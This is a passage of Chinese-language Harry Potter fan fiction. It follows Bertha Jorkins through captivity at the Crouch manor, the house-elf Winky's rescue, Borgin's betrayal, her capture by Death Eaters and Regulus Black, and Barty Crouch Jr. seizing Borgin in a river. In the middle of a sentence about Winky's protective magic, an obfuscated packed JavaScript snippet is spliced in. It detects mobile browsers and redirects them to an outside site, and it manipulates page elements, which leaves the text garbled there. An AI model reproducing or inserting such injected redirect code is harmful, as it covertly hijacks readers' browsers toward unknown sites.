“你怎么在这里?!”伯莎猛地站起来,魔杖瞬间抽到手心,可指尖冰凉,魔杖在掌心打滑,她不得不攥得更紧,警惕地盯着彼得——他也是通缉犯,谁知道他是不是和老克劳奇一伙的? “我、我我我……我不会伤害你的!” 彼得的声音尖得像被人掐住了喉咙,脸涨得通红,他慌忙摆着手,眼神紧张地瞟着楼上的方向,额头上瞬间布满了冷汗。 “你……你走吧!快、快走……”他伸手把伯莎往门口推,掌心的汗蹭在伯莎的胳膊上,黏腻得令人不适。 伯莎不知道他葫芦里卖的什么药,但这是唯一的逃生机会。她一边警惕着,一边踉跄着奔出克劳奇庄园,手忙脚乱地从衣领里掏出双面镜——可镜子还没举起来,一道阴冷的声音就像毒蛇般缠了上来:“你可不能就这么放她走,彼得学长。” 她猛地回头,看见小巴蒂·克劳奇倚在楼梯口,脸上挂着猫捉老鼠般的残忍笑容,眼睛里的恶意像淬了毒的刀子。下一秒,后颈传来一阵剧痛,像是被重锤砸中,她眼前一黑,彻底失去了意识。再醒来时,就已经在这阴暗潮湿的地牢里了。 “你们要干什么?!”她多次对着栏杆外的彼得和小巴蒂嘶吼,声音因恐惧和愤怒变得嘶哑。可对方只是看着她,像看一件没有生命的物品。后来她知道了,他们熬了复方汤剂,用她的样子去骗魔法部的人。再后来……伯莎的身体突然剧烈地颤抖起来,牙齿磕碰的声音更响了——布德罗里克也被抓进来了。 她清楚地听见楼上传来他的尖叫,那是钻心咒的痛苦呻吟,每一声都像钝斧劈在她的心上。紧接着,是彼得颤抖的声音,逼问他预言球的事情。“我不知道……我真的不知道……”布德罗里克的声音越来越弱,直到最后,彻底没了声响。 伯莎死死咬住拳头,指甲嵌进掌心的旧伤里,结痂的伤口裂开,血腥味混着地牢的霉味钻进喉咙。 绝望像是冰冷的淤泥,从脚边开始往上爬,一点点淹没她的胸口、喉咙,直到连呼吸都觉得沉重——布德罗里克死了,那个和她在一起五年、会跟她一起看月亮,看云卷云舒的男孩儿,死了。 她突然想起最后一次和他吵架,她说“我再也不要见到你了”。现在想来,每一个字都像烧红的烙铁一样烫得她喉咙发紧,疼得她五脏六腑都在抽搐。 梅林啊,那些只是气话。只是气话啊…… 月光从地牢的小窗漏进来,惨白惨白的,像是灵堂该有的样子。她躺在冰冷的干草上,心脏像是一块干涩的海绵,不管怎么挤,都挤不出一滴眼泪。悲伤太过巨大,反而变得空洞和麻木——她是克劳奇的助理,战争期间处理过无数傲罗的后事,见过太多生离死别,作为拉文克劳,她理性上知道“人终有一死”,可她从没想过,先死的会是布德罗里克。 我们都能接受生老病死是自然规律,可我们从不真正相信,自己爱的人会先一步离开。 “我恨你。” 伯莎看着那些食物,轻轻的对彼得说,眼神空洞无比。 彼得的肩膀猛地一颤,他低着头,手指死死攥着衣角,“你恨我是应该的。”他在心里默念,可他能怎么办呢?恐惧像一条冰冷的毒蛇,时时刻刻缠绕着他的心脏,让他窒息。他不敢反抗伏地魔,不敢反抗小巴蒂,他只能选那条“能活下去”的路—— 他突然想起第一次见伯莎的场景。那时候战争的阴云已经笼罩巫师界,霍格沃茨的列车上却还带着初秋的暖意。他、埃米洛和伯莎在一个车厢里,埃米洛在翻不知道什么书,书页哗啦作响,阳光透过车窗洒进来,落在伯莎的发梢上,像镀了一层金。 他展示守护神咒时,一只小小的老鼠从杖尖跳出来,跳过埃米洛的书页,正好落在伯莎那里。她笑着伸手触摸老鼠的背,眼睛里像是落满了星星,亮得惊人。 可现在,他亲手把他们两个关在了这里,埃米洛在楼上,伯莎在楼下—— 他又一次背叛了曾经的朋友,就像当初背叛詹姆和莉莉一样。 “我别无选择。”他又一次这么告诉自己,像是在自我安慰,又像是在找借口。小巴蒂说过,只要他听话,伯莎和埃米洛就会没事的。他迫切地想相信这句话,哪怕只是自欺欺人。 他用魔法把伯莎身后的干草垛烤得暖和些,又从楼上找了条毯子递进去,甚至冒险偷了些预防发烧的魔药——他做这些微不足道的事,只是想减轻一点心里的负罪感,哪怕伯莎从不接受,哪怕她看都不看他一眼。 他看得出来,伯莎在慢慢枯萎。她不再嘶吼,不再愤怒,只是蜷缩在角落,像一朵失去水分的花。他猜到是因为布德罗里克——她的男朋友。小巴蒂让他把布德罗里克的尸体烧掉,彼得偷偷藏起了对方大衣里的钱夹。钱夹里有一张照片,伯莎和布德罗里克站在油菜花田里,手牵着手转圈,笑得灿烂极了,那抹黄色刺得他眼睛生疼。 他突然想起詹姆和莉莉也有一张很像的照片,婚礼时候拍的。那时候他举着相机,莉莉穿着白色婚纱,詹姆搂着她……那张照片最后被詹姆寄给了谁?他不知道,只记得照片里的人都很开心——可现在,他们都死了,一样死在了他的背叛里。 他坐在火炉边,魔杖尖亮起一丝微弱的白光。“一忘皆空。”他盯着跳动的火焰,心里突然冒出这个念头——如果把伯莎关于布德罗里克的记忆删掉,她是不是就不会这么痛苦了?甚至说……如果能删得更多,删掉她所有关于布德罗里克的记忆…… 彼得猛地摇了摇头,手指攥着魔杖,指节发白——就算记忆删掉他也不会有机会的,哪个女孩儿还会正眼看他一眼呢?而且……而且他也做不到,这种精准的删除切割,巫师里几乎没人能做到这个…… 不,这栋房子里有能做到的人……他的脖子机械的转向隔壁的门。 只要他趁着小巴蒂不在,对埃米洛施一个夺魂咒,让他帮伯莎清除记忆…… “你在想什么?” 小巴蒂推门进来,脸上挂着令人毛骨悚然的笑容。 彼得的后背瞬间渗出冷汗,衬衫黏在皮肤上—— 小巴蒂又看了他的脑子!他像一只被钉在标本板上的昆虫,所有肮脏的念头都被摊在阳光下,无处可藏。 该死,该死,该死!他在脑子里大声尖叫起来。 “你怕什么啊?”小巴蒂咯咯地笑起来,笑声在空旷的房间里回荡,像碎玻璃划过金属,“我有批判你什么么?我觉得你的想法挺好的,真的。” 他念了一句咒语,彼得的身体里瞬间像是有一万只蚂蚁在啃噬他的骨头,疼得他趴在了地上,冷汗瞬间浸透了衣衫。该死,他忘了,伏地魔早就在他身体里埋了黑魔法,小巴蒂什么都知道……他就不该有这种念头,就不该救小巴蒂! “都说了,我和父亲的关系比你想象中亲密多了。”小巴蒂蹲下来,拍了拍他的肩膀,语气亲昵得像在跟朋友说话,可眼神里的残忍却令人胆寒,“可怜的小老鼠。” “我……我给去……监督……博金博克……”彼得挣扎着爬起来,声音颤抖得不成样子,他想逃,想离开这个令人窒息的地方。 “谁说你今天的任务是这个了?” 小巴蒂笑着把一张纸条推到他面前,“我都说了,我觉得你的想法很不错。” 他敲了敲桌子,“知道埃米洛学长的老师是谁吗?鲍勃·奥格登,魔法部最精湛的记忆魔法大师。”他又推过去一瓶复方汤剂,眼神里充满了戏谑,“今天你可以用他的脸了,开心吗?” 彼得的嘴唇颤抖着,接过纸条,把地址记在心里,然后慌忙丢进壁炉里。火焰吞噬纸条的瞬间,他拿起桌上的复方汤剂,仰头灌了下去——骨头开始扭曲,像被无形的手攥住、拉长,脸上的皮肤发烫,疼得他弯下腰,额头抵在地上。这外在的痛苦真好,能暂时盖过心里的煎熬,盖过詹姆和莉莉的脸,盖过伯莎的恨。 他看见了小巴蒂的眼神,冷漠,轻蔑。对方显然没把他当一个人看。 不行……他不能这么下去。彼得抿紧了嘴唇。他必须要给自己找些别的出路…… …… 伯莎已经记不清自己被困了多久。她连续做了好几天的噩梦,白天也昏昏沉沉的,一只老鼠吱吱叫着从她耳边跑过,她猛地尖叫着醒过来,心脏狂跳不止,胸口发闷,像是要窒息。 “烫……”她下意识地伸手撑地,掌心瞬间传来一阵剧痛——地板烫得像被火烤过,薄薄的衬衣贴在皮肤上,像是被火钳烙着。她连忙抓住冰冷的栏杆,强行把自己从地上拽起来,手掌被栏杆烫得发红,疼得她嘶了一声。 为什么这么烫?周围的空气越来越热,潮湿的霉味里混进了焦糊的味道,让她的鼻尖窜出细小的汗珠。她呼吸越来越困难,每一次吸气都像是吸入滚烫的沙砾,肺叶发紧,喉咙干涩得发疼。 庄园着火了!这个念头像一道闪电劈进她的脑海,让她瞬间清醒。她不知道火是怎么着的,但如果不逃出去,她会被活活闷死在这地牢里,或者被烧成灰烬。 她跌跌撞撞地爬向地牢门口,抓起彼得之前留下的水袋,把水全都泼在干草垛上——水落在干草上,发出“滋滋”的声响,冒出一缕白烟,可这点水远远不够。热浪顺着栏杆缝隙涌进来,灼烤着她的皮肤,她的头发已经开始发烫,焦糊味越来越浓。 就在她绝望之际,“啪”的一声轻响,一个穿着破旧围裙的家养小精灵出现在她面前。 “闪闪?!”伯莎的眼睛猛地睁大,随即又警惕地后退一步——就是这只小精灵,前几天还和小巴蒂一起锁她的牢门,现在突然出现,会不会是新的陷阱?她的手攥成拳,指尖因为用力而发白。 “闪闪遵从夫人之命,带乔金斯小姐走!” 闪闪的大眼睛里蓄满了泪水,声音带着浓重的哭腔,她双手捧着一根熟悉的魔杖,递到伯莎面前,“闪闪给乔金斯小姐带来了她的魔杖!” 伯莎盯着那根魔杖,指尖发痒,却不敢伸手——这不会是梦吧?幸福来得太突然,反而让她觉得不真实。她甚至怀疑,这魔杖上是不是被施了咒,只要她一碰,就会触发更可怕的魔法。 “乔金斯小姐,快!”闪闪见她不动,急得眼泪掉了下来,伸手抓住伯莎的胳膊。下一秒,一阵天旋地转,伯莎只觉得身体被撕裂又重组,等她站稳时,已经到了庄园外的树林里。 冰冷的雨水瞬间打在她脸上,浇灭了身上的灼热感。她猛地回头,看见克劳奇庄园在火焰中疯狂燃烧,橘红色的火舌舔舐着阴沉的天空,黑烟滚滚而上,与浅灰色的雨幕交织在一起,像一幅诡异而壮烈的画。 “等一下……闪闪!”伯莎突然拉住小精灵细瘦的胳膊,雨水顺着她的头发流进脖领,冷得她打了个哆嗦,“发生了什么?为什么会着火?” “都怪坏巫师!坏巫师烧了克劳奇庄园!烧了闪闪的家!”闪闪突然嚎啕大哭起来,身体剧烈地颤抖,围裙上的烟灰被泪水冲得晕开,“巴蒂少爷杀了老爷!夫人命令闪闪不许再服从他!闪闪……闪闪没家了,闪闪没家了!”她的哭声被雨声和火焰的噼啪声淹没,却透着无尽的绝望。 坏巫师?伯莎心里涌起一股不祥的预感,“闪闪,坏巫师是谁?是小巴蒂吗?” 可闪闪根本没听她的话,只是沉浸在自己的悲伤里,眼泪像断了线的珠子往下掉,“夫人让闪闪最后把庄园里还活着的人带出来……闪闪带出了乔金斯小姐和博克老爷……夫人说,她要和老爷烧在一起……我的夫人,我的老爷……” 伯莎顺着闪闪的目光看去,才发现不远处的泥地里瘫倒着一个人。那人浑身湿透,昏迷不醒,脸上沾着血污和泥水。她连忙爬过去,跪在那人身边,用袖子擦掉他脸上的污垢——博金·博克。 她当然认识他,翻倒巷里最大的黑商,魔法部抓了他好几次,都被他钻了空子。他怎么会在克劳奇庄园?伯莎皱紧眉头,心里的疑惑越来越深。 “闪闪。”她回头叫住魂不守舍的小精灵,对方正茫然地看着燃烧的庄园,巨大的瞳孔里映着跳动的火焰,“和我们一起走吧,你一个人……”尽管闪闪曾参与囚禁她,可此刻看着小精灵绝望的样子,伯莎的心里还是涌起一丝不忍。 “一起走……么?”闪闪空茫地晃了晃身子,声音轻得像一阵风。她从出生起就待在克劳奇庄园,看着老克劳奇和夫人结婚,看着小巴蒂出生、长大。这里是她的整个世界,是她生存的意义。现在庄园没了,夫人和老爷也没了,她出去了能去哪里?没有家族会要一个其他主人用过的小精灵,她也融不进新的地方。 老爷的瓷盘磕破她围裙的针脚,她捧住碎片起身去捡,转眼已是火缠庄园,归处灼灼。 夫人的木梳勾住她幸福的流苏,她丢下擦银布伸手去解,转眼便见烟裹梁柱—— 她离不开这里呀。 闪闪突然露出一个苦涩无比的微笑,她伸出细长的手指,轻轻点了点伯莎的额头,又点了点博金·博克的额头。一道微弱的、温暖的光芒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199242|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一闪而过,那是家养小精灵最古老的守护魔法—— 克劳奇庄园没了,这是她最后一项任务,她完成了。 “我走不出这个庄园,乔金斯小姐。闪闪只能送你们到这里了。” 伯莎还想再说什么,闪闪却已经转过身,瘦小的身影一步一步,坚定地朝着那片熊熊燃烧的火焰走去。雨水打湿了她的围裙,火焰的热浪卷着灰烬扑在她脸上,她却没躲,也没回头。 伯莎想喊住她,声音却卡在喉咙里,只能眼睁睁看着那道瘦小的身影走进橘红色的火舌里,像一片被风吹走的叶子,瞬间被烈焰吞没,再也看不见了。 雨水把山路泡得泥泞不堪,每走一步,鞋底都要陷进烂泥里,带着沉重的拉扯感。伯莎的胳膊绕着博金·博克的腰,大半的重量都压在自己身上——她的膝盖上划开了一道口子,被雨水泡得发白,每弯一次腿都疼得钻心,裤脚早已被树枝勾得破烂,小腿上满是细小的划伤,血混着泥水往下淌,冷得她肌肉发颤。 “该死……”她低声咒骂了一句,又一次被脚下的石头绊倒,两人踉跄着往前扑了两步,博金·博克的头重重撞在她的肩膀上,发出一声闷哼。 伯莎咬着牙把他扶稳,手臂因为用力而发酸,指尖还在不受控制地发抖——她真的想把这个黑心商家丢在这里,让他自生自灭。他明明比自己壮实,却从醒来后就一副虚弱不堪的样子,连站都站不稳,全靠她拖着走。 可看着博金·博克苍白的脸,听着他微弱的喘息,她的心又软了。终究是条人命。她深吸一口气,抹掉脸上的雨水和汗水,“再坚持会儿,快到禁止幻影移形的边界了。” 话音刚落,她的脚踝突然一软——长时间的体力透支让她再也撑不住,身体不受控制地往前倒去。博金·博克跟着她一起滚下山坡,泥土和树枝划过皮肤,火辣辣地疼。 伯莎重重摔在地上,眼前一阵发黑,眩晕感铺天盖地袭来,她只能趴在地上,大口大口地喘着气,胸口发闷得像要炸开。 她刚要痛呼,一只手突然捂住了她的嘴,力道大得让她几乎喘不过气。“别出声!”博金·博克的声音压得极低,带着一丝不易察觉的颤抖,他的手心全是冷汗。 伯莎在心里咒骂——这个奸商!他肯定早就醒了,一直装晕让她费力拖着走!她挣扎着想推开他,可博金·博克却死死按住她,另一只手飞快地抽走了她别在腰间的魔杖。 “你——”伯莎刚想开口怒斥,就被博金·博克更用力地捂住了嘴。他哆哆嗦嗦地举着魔杖,嘴唇贴在她耳边,用气音念出咒语:“平安镇守。”一道极淡的透明屏障瞬间笼罩住两人,连他们的呼吸声都似乎被隔绝了。 伯莎这才察觉到不对劲。博金·博克的身体在发抖,不是装出来的恐惧,他的眼睛死死盯着山坡上方,瞳孔缩得极小。她僵硬地顺着他的目光回头,心脏猛地一沉,几乎要停止跳动—— 不远处的树影下,站着贝拉特里克斯·莱斯特兰奇。她穿着一身黑色的长袍,头发凌乱地披在肩上,脸上带着癫狂的笑容,魔杖在指尖转着圈,语气尖锐得像指甲刮过玻璃:“不是说今天主人回归吗?现在是什么情况?克劳奇那个废物连这点事都办不好?” 而她身边,站着的正是小矮星彼得。他低着头,肩膀微微缩着,双手紧张地攥在一起,像只受惊的老鼠,唯唯诺诺地应着:“是、是出了点意外……庄园着火了,主人没能回来……” “闭嘴!”贝拉特里克斯猛地打断他,眼神里的恶意几乎要溢出来,“我看他根本就不想让主人回来,克劳奇家的小子,哼!” 伯莎的后背瞬间渗出冷汗,衬衫黏在皮肤上,凉得刺骨——贝拉特里克斯?她应该在阿兹卡班!那个关押着最危险罪犯的监狱,她怎么会在这里? “不要出声……”博金·博克用唇语对她说,手指因为用力而泛白,死死按住她的肩膀,不让她有丝毫动弹。 伯莎屏住呼吸,连心跳都放轻了。风突然吹过,她额前的碎发飘了起来,几乎扫到了不远处彼得的鼻尖。彼得的鼻子动了一下,头微微偏了偏,似乎察觉到了什么。伯莎的心脏提到了嗓子眼,恐惧像一只冰冷的手,攥住了她的喉咙——他会发现她的!他会告诉贝拉特里克斯的! 可彼得只是顿了顿,又飞快地低下头,什么也没说。他的眼神躲躲闪闪,不敢往山坡下看,仿佛什么都没察觉到。 一阵脚步声传来。伯莎瞥见一群戴着银色面具的人从树林里走出来,黑袍上印着狰狞的骷髅标记——食死徒!他们一个个面无表情,步伐整齐地从贝拉特里克斯身边走过,朝着庄园的方向而去。 伯莎的呼吸骤然停止。她认得其中几个人的身形,他们都该是阿兹卡班的囚徒,是魔法部缉拿了多年的罪犯!他们怎么都出来了? 食死徒们从她和博金·博克身边的小径走过,透明的屏障挡住了他们的视线,可伯莎还是能感受到他们身上散发出的阴冷气息,那是常年浸泡在黑暗里的恶意。她身上的伤疼得她发晕,可她死死咬住嘴唇,不让自己发出一点声音。 直到最后一个食死徒的身影消失在树林里,贝拉特里克斯和彼得也转身离开,博金·博克才松开手,瘫坐在地上,大口大口地喘着气,额头上的冷汗混着雨水往下流。 伯莎也瘫倒在地,心脏还在疯狂跳动,胸口发闷得厉害。她看着食死徒消失的方向,心口一片冰凉,像被冰水彻底浸透——阿兹卡班的罪犯逃了出来,巫师界要变天了。 “他们……他们是从阿兹卡班逃出来的?”伯莎的声音带着颤抖,不敢相信自己的判断。 博金·博克点了点头,脸色苍白得像纸,“别……别管了……”他顿了顿,看了伯莎一眼,语气复杂,“我们得赶紧走,离开……赶紧离开……” 伯莎扶着旁边的树干,挣扎着站起来。她的腿还在疼,身体也疲惫到了极点,可她知道,现在不是休息的时候。刚扶着树干站稳,就见远处的夜空突然亮起一道绿光——不是魔杖的蓝光,也不是火焰的橘红,是那种淬了毒般的、令人心悸的翡翠绿。 那绿光在半空炸开,瞬间凝聚成一个狰狞的骷髅头,蛇从骷髅的口中钻出,缠绕着颅骨,每一片骨骼的纹路都清晰得刺眼。 黑魔标记。 她死死盯着那道悬浮在雨幕中的绿光,骷髅的影子投在泥泞的地面上,像一张巨大的网,要将整个世界都罩住。心口的冰凉不再是雨水带来的寒意,而是从骨头缝里渗出来的绝望,她仿佛能听见无数巫师的哀嚎,回想起了五年前…… 她强迫自己移开视线,抓着博金·博克继续向前走,脚下却突然传来“咔嚓”一声——一根枯树枝被他踩断了。 那声音在寂静的山林里格外突兀,像一根针戳破了紧绷的弦。 伯莎的心脏猛地提到了嗓子眼。她看见前方不远处,几个走在最后的食死徒突然停下了脚步,戴着银色面具的头缓缓转了过来,空洞的眼窝朝着他们的方向。其中一个食死徒举起了魔杖,杖尖闪过一丝冷光,脚步声沉重地朝着山坡下走来,每一步都像踩在伯莎的心跳上。 “完了……我们完了……”博金·博克的声音带着哭腔,他的眼神里只剩下求生的本能。 不要出声了!伯莎在心里大喊道,她举起魔杖,想要加固那道屏障。一股巨大的力量突然从侧面传来——博金·博克猛地推了她一把!她毫无防备,身体不受控制地往前踉跄,重重摔在地上。 “平安镇守”的透明结界,正好在她身后闭合。 她趴在泥泞里,错愕地回头——博金·博克还在结界里,他死死贴着屏障,双手撑在上面,眼神里满是后怕和一丝不易察觉的愧疚。他看着伯莎,嘴唇动了动,却什么也没说,只是往结界深处缩了缩,避开了食死徒的视线。 40.深林与湖底 “看看我们发现了什么?”一个粗嘎的声音响起,带着猫捉老鼠般的戏谑。一个戴着银色面具的食死徒用靴尖踢了踢瘫软在泥水中的伯莎,让她面朝上,雨水立刻冲刷着她苍白而惊恐的脸。“一只从火场里逃出来的、湿透了的小老鼠?还是只折断了翅膀的小鸟?” 另外两个食死徒立刻围了上来,像嗅到血腥味的鬣狗,魔杖尖端闪烁着不祥的光芒,牢牢对准了毫无反抗能力的伯莎。她徒劳地在冰冷的泥泞中挣扎着想后退,每一次移动都牵扯着身上的伤痛,冰冷和恐惧让她的牙齿不受控制地打颤。 她的目光却死死盯住不远处那道几乎与雨幕融为一体的透明屏障——博金·博克像只受惊的乌龟般蜷缩在后面,脸色惨白如纸,嘴唇哆嗦着,眼神惊惶地四处躲闪,根本不敢与她对视,仿佛多看一眼就会沾染上致命的麻烦。背叛的苦味混合着泥水的腥气涌上她的喉咙,噎得她几乎窒息。 “这女人有点眼熟……”其中一个食死徒眯起眼睛,用魔杖挑起伯莎湿漉漉的头发,仔细打量着她的脸,语气带着不确定的嘀咕。 “眼熟?当然眼熟!”另一个疯狂而熟悉的声音猛地划破了雨幕,带着令人牙酸的兴奋。一个高瘦的食死徒推开同伴上前一步,“老克劳奇原来那个‘能干’的助理,伯莎·乔金斯!我记得这张脸!哈哈哈……真是意外的收获!” 他的笑声尖锐刺耳,“抓到她可比抓到小巴蒂·克劳奇也不差了!这女人说不定就知道那个不成事的叛徒逃到哪里去了!” 话音未落,他似乎急于立功,猛地将魔杖对准伯莎的太阳穴,厉声喝道:“摄魂取念——啊!——” 伯莎紧紧闭着眼,大脑封闭术的意念才刚刚凝聚,还来不及构筑起有效的防御。然而,预想中记忆被粗暴撕裂的痛苦并未到来,她只听到一声短促而惊愕的惨叫,以及魔杖脱手落地的轻响。 她猛地睁开眼,惊愕地看到那个对她使用咒语的食死徒正像触电般剧烈地抽搐着,魔杖尖端迸发出一阵混乱而刺眼的噼啪火花,接着他整个人便直挺挺地向后栽倒,瘫在泥地里不省人事,面具下的眼睛甚至没来得及闭上,充满了难以置信。 “怎么回事?!布洛格!” “该死的!这女人!她不知道做了什么!” “是无声咒?还是某种反咒?!” “去通知莱斯特兰奇大人!快!”为首的食死徒显然被这诡异的变故惊住了,声音里带上了一丝慌乱,“其他人,围住她!警惕点!别让她再耍花样!” 食死徒们立刻如临大敌般散开,形成一个松散的包围圈,魔杖齐齐指向中央的伯莎,却一时无人敢再上前。伯莎的心脏狂跳得几乎要从嗓子眼里蹦出来,她趁乱用余光飞快地瞟向之前博金·博克藏身的地方——那里空空如也,只有被踩倒的草丛和浑浊的积水。那个奸诈的黑商,早已趁着她吸引所有火力的瞬间,像真正的老鼠一样悄无声息地溜之大吉了。甚至连她的魔杖,也被他一并卷走了。 她的脑子一片混乱,又乱又怕,几乎无法思考。她刚才什么也没做!那魔法反弹是怎么回事? 闪闪……是闪闪!她猛地想起了那个瘦小的家养小精灵最后在她额头上轻轻一点时,那微弱而温暖的触感,以及那句古老的守护魔法!是闪闪用她最后的力量保护了她! 但这突如其来的守护显然只能抵挡魔法的直接侵袭。一个身材高大的食死徒显然不耐烦了,他看出伯莎的虚弱和外强中干,猛地收起魔杖,一步上前,铁钳般冰冷粗糙的手死死抓住了伯莎纤细的胳膊,巨大的力道几乎要捏碎她的骨头。另一个食死徒也立刻上前,粗暴地扭住了她的另一只手臂。 剧痛和冰冷的恐惧瞬间攫住了她,伯莎感觉自己像是被钉在地上的蝴蝶,连尖叫的力气都被抽空了,只能睁大了眼睛,绝望地看着雨点打落在泥泞中。 “发生了什么?”一道不高不低、却异常清晰冷静的声音从不远处传来,瞬间打破了这短暂的僵持。 外围的食死徒们闻声望去,立刻像被无形的鞭子抽打了一般,纷纷收起魔杖,恭敬地单膝跪地行礼,只剩下那两个扭住伯莎胳膊的人还强撑着站立,但也下意识地放松了力道。 “布莱克大人!” 一个高挑清瘦的人影缓步从林间的阴影中走出。他穿着一身剪裁考究的漆黑旅行斗篷,兜帽下露出苍白而轮廓分明的下颌,雨水顺着他漆黑的发梢滑落,脸色却平静得没有一丝波澜。他甚至没有多看那些跪地的手下一眼,冷漠的目光淡淡地扫过现场——昏迷的食死徒、如临大敌的同伴,最后落在了被死死钳制、狼狈不堪的伯莎身上。那目光冰冷、审视,带着一种居高临下的傲慢,仿佛在看一件无关紧要的物品。 雷古勒斯·布莱克。伯莎抿紧了嘴唇,魔法部里都在暗传当初是他用食死徒的消息免除了阿兹卡班牢狱之灾。和卢修斯·马尔福一样是个滑不溜手,不知明暗的家伙,现在看来真相大白了,这些食死徒一出逃就跟来…… “我们突然发现了这个女人,布莱克大人。”一个跪在地上的食死徒连忙汇报,声音带着一丝谄媚和紧张,“她……她似乎是从克劳奇庄园的火场里逃出来的……” “她非常危险!大人!”另一个扭着伯莎的食死徒紧接着补充道,语气激动,“她没有用魔杖!不知道用了什么邪门的方法,就把布洛格打翻了!我们正准备……” “是么?”雷古勒斯打断了他们,语气依然波澜不惊,甚至带着一丝不易察觉的厌烦。他将目光从伯莎身上移开,仿佛她的“危险”根本不值一提。“小巴蒂·克劳奇找到了么?” “还……还没有,大人。我们正在全力搜索……” “这样啊。”雷古勒斯意味深长地点点头,似乎这才是值得关注的重点。他沉默了片刻,雨声中只听见伯莎压抑而急促的呼吸。然后,他轻轻唤道:“克利切。” 嘭的一声轻响,一个家养小精灵应声出现。他比闪闪看起来要苍老得多,皮肤像灰褐色的羊皮纸一样布满褶皱,身上围着一条脏兮兮的破布,巨大的蝙蝠耳朵低垂着,一双灯泡似的眼睛充满了卑微和顺从。他深深地鞠了一躬,鼻子几乎碰到了泥地:“雷古勒斯少爷召唤克利切?” “把她带回格里莫广场。”雷古勒斯淡淡地吩咐道,语气平常得像是在吩咐收拾一件行李。 “不!布莱克大人,这……这不合理!”先前汇报的食死徒忍不住抬起头,语气急切,“莱斯特兰奇夫人命令我们……” “我现在连带一个人走的权利都没有了么?”雷古勒斯的声音陡然降低了几度,冰冷的目光终于扫向那个提出异议的食死徒,带着无形的压力。 那食死徒猛地一颤,立刻重新低下头去:“不…不敢,大人……” 雷古勒斯缓缓踱步到那个被伯莎(或者说闪闪的守护魔法)击昏的食死徒身边,用靴尖轻轻拨动了一下对方毫无生气的身体,然后再次看向发言者,嘴角似乎勾起一丝极淡的嘲讽:“连你都知道她很‘危险’了。”他顿了顿,加重了语气,“那当然要带回去,‘审问’清楚,不是吗?还是说,你们觉得自己比布莱克家族更懂得如何处置这种‘危险人物’?” “是……是!大人英明!”所有的食死徒都低下头,不敢再有丝毫异议。 雷古勒斯不再看他们,对克利切点了点下颌。 家养小精灵再次卑微地鞠躬,然后伸出枯瘦的手指,抓住了伯莎湿透的衣角。伯莎感到一阵强烈的眩晕和挤压感传来,周围的景物开始疯狂旋转扭曲—— --- 博金·博克使出了吃奶的力气,像只被猎犬追赶的肥兔子,在湿滑泥泞的树林里深一脚浅一脚地狂奔,心脏跳得如同擂鼓,几乎要撞破他那可怜的胸腔。 天杀的克劳奇!天杀的食死徒!天杀的罗杰·德蒙特!他博金·博克到底是造了什么孽!他只不过是想安安分分地做他的“小本”生意,偶尔倒卖些见不得光的小玩意儿,怎么就这么倒霉,先是被小克劳奇那个疯子抓去搞什么审判,现在又差点被一群越狱的杀人狂魔堵个正着!那个该死的女人还差点想拉他垫背! 他慌不择路,肺像个破风箱一样呼哧作响,喉咙里全是血腥味。忽然,他眼角的余光瞥见远处似乎又有几个黑影在移动。 左边,右边……梅林的花裤衩啊!他心里哀嚎一声,几乎是连滚带爬地扑向旁边一条漂浮着浓密绿藻、散发着腐烂气息的小河,噗通一声跳了进去,溅起一大片浑浊的水花。 冰冷刺骨的河水瞬间包裹了他,让他猛地一激灵。他屏住呼吸,拼命往河床下沉,借着浓密的水草和浑浊的河水隐藏自己。 “什么声音?!——”岸上传来警惕的呼喝。 “不知道,好像是那边!搜!小克劳奇可能就藏在这附近!” 头顶的水面被火把的光芒晃过,模糊的人影在岸边徘徊。博金·博克死死憋着气,感觉肺里的氧气越来越少,胸口火辣辣地疼,冰冷的河水刺激着他的伤口。但是头顶上那些索命的脚步声和谈话声清晰地传来,他甚至连动一根手指都不敢。 快走啊,快走啊,快走啊——他在心里疯狂地尖叫祈祷,恐慌像水草一样缠绕着他的心脏。 55, 56……他在心里默数着秒,觉得自己马上就要因为缺氧而昏厥过去,然后像块石头一样浮上去…… 就在他意识开始模糊,几乎要放弃的时候,一个身影如同鬼魅般无声无息地从更深暗的水域游到他背后,冰冷而有力的手臂猛地勒住了他的脖子,将他粗暴地往更黑暗、更深的河底拽去! 博金·博克惊恐地想要挣扎,但对方做事情异常利落且力量惊人,整个人像一条巨大的章鱼一样紧紧缠住了他,让他根本无法动弹。他绝望地张开嘴,冰冷的河水瞬间涌入,带出一连串无助的泡泡。就在他以为自己死定了的时候,对方似乎将一小罐滑腻腻、像是腐烂水草一样的东西强行塞进了他嘴里! 这……这是?! 博金·博克先是惊恐,随即狂喜——鳃囊草?!是鳃囊草!他咕咚一下,几乎是本能地将那团东西囫囵咽进了肚子里! 几乎立刻,他感到脖子两侧传来一阵撕裂般的剧痛,仿佛皮肤被硬生生割开,但随即而来的却是从未有过的畅快——水下的窒息感消失了,他竟能在水中自由呼吸! 他想转头看清到底是谁救了他,又是谁会有这种东西。 然而,当他艰难地转过头,借着一丝微弱的光线看清身后那人的脸时,刚刚升起的狂喜和感激瞬间被更大的惊恐彻底淹没,冰冷的寒意比河水更刺骨地钻透了他的骨髓。 勒住他脖子的人,脸上带着水珠和残忍的讥笑,眼神阴鸷疯狂,正死死地盯着他——不是别人,正是他以为早已葬身火海或者远遁千里的小巴蒂·克劳奇! “想活命就别动了。”小巴蒂阴冷的声音透过水流传来,带着令人战栗的寒意,捏着他脖子的手指收得更紧了。 上方的火把光芒透过浑浊的河水,只剩下明明灭灭、扭曲晃动的昏黄光晕。食死徒的搜索声被水波模糊成遥远而危险的嗡鸣。两个人不得不奋力向更深的河底潜去。博金·博克绝望地发现,刚才从伯莎那里顺手捞来的那根魔杖,此刻已经被小巴蒂毫不客气地抽走,别在了他自己腰间。失去了任何可能的依仗,博金·博克只能像一条被线拴住的鱼,认命地跟随着前面那个疯狂的身影。 